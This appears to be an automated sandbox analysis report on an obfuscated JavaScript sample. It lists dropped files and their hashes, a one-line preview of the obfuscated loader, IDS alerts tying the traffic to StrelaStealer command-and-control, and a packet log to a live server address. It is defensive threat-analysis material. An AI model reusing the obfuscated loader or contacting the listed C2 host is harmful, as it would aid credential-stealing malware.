SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8d49208a-bd8b-40e9-b52c-25c963e98e1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e143bc06-1605-46ad-a122-9eb6320fbfab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f9cab206-b40a-4903-86b7-579e9ed69d8d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15707), with CRLF line terminators
Entropy (8bit):	4.886219182938128
TrID:
File name:	18203107951121827015.js
File size:	18'937 bytes
MD5:	08dfc64b439b2533b213a713f2192ff1
SHA1:	f0475e913f985a0e3c34e19b2db5096783fe7e6a
SHA256:	39594d9873e8db2ffafd9f3d0054d6d072943bf6952b61bfafb024e4f1dc643d
SHA512:	9aa4d7e6c8e6964f0a910b8a0a3753785d6ad3005ab1fc026bdd06e850394fdf1e1d5b06e099f26a3de2b6a3804c4a1f0f2ec25198c00a1fba429c34fb55f352
SSDEEP:	384:0Ot2p5R/7iGtBIp6B2tpNh4pVVVv9oVJylrQYJfXIrjH5+4:vt2p5R/7iGtBIp6B2tpNh4pVVVv9o2lg
TLSH:	E482A7D50200E26E9AFE47BC3DD991893959A2CC46B471CAC09664D1073A76FE3DF2F8
File Content Preview:	function comqghr(){dfxlzblrq=[1031,3079,5127,4103,2055,3072];var nixmthds=this[afrsmnht+qftoqg+kvnshfq+eoyve+tsynne+hcdty+boezr+pqnvlh](this[xulsfb+fgkfh+yropt+kvnshfq+dxpig+afrsmnht+pqnvlh][lfnml+kvnshfq+tsynne+qftoqg+pqnvlh+tsynne+iylwcllik+dpaqt+aqdunc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:00:41.899290+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T04:00:41.899290+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T04:00:45.080720+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:00:41.087601900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:41.092720032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.092854023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:41.095797062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:41.100658894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899092913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899120092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899138927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899187088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899202108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899211884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899226904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899245977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899262905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899272919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.899290085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:41.899338007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:41.904187918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.904206038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.904279947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:41.950108051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.950146914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:41.950229883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.020390987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020409107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020431995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020452023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020468950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020515919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.020564079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.020705938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020747900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.020937920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020952940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.020967960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021040916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021044016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.021079063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.021569967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021584034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021600008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021641970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.021682978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021698952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.021739960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.022397995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.022460938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.022470951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.022486925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.022541046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.022572041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.022646904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.022695065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.023324966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.065107107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.087785959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.087806940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.087863922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.124413967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.124433041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.124443054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.124528885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.141887903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.141904116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.141911983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.141968012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.141980886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.141989946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142035007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.142067909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142127037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142142057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142175913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.142286062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142301083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142318964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142322063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.142337084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.142381907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.143032074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143047094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143086910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.143212080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143227100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143243074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143271923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.143286943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.143368006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143383026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143399000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143414974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.143425941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.143454075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.143996954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144057035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144073963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144130945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.144186020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144226074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.144252062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144268990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144285917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144308090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.144862890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144932032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.144934893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.144951105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145001888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.145086050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145102024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145138979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.145217896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145232916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145277977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.145744085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145806074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145823002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.145853996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.146018982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.146034956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.146051884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.146065950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.146084070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.146111012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.178231955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.178266048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.178283930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.178284883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.178431034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.214783907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.214812994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.214922905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.245894909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.245946884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.245963097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.246011972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.246076107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.246089935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.246130943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.246222973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.246236086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.246288061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.263415098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263468027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.263493061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263506889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263572931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263582945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.263587952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263606071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263642073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.263709068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.263753891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.264082909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264138937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264153957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264189959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.264375925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264415979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.264445066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264462948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264507055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.264592886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264609098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264972925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.264987946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265003920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265119076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265144110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265161037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265177965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265384912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.265786886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265832901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.265851974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265867949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.265908003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.265959978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266062975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266077042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266093969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266119003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.266141891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.266766071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266781092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266797066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266827106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 04:00:42.266930103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 04:00:42.266944885 CET	80	49699	193.143.1.205	192.168.2.7
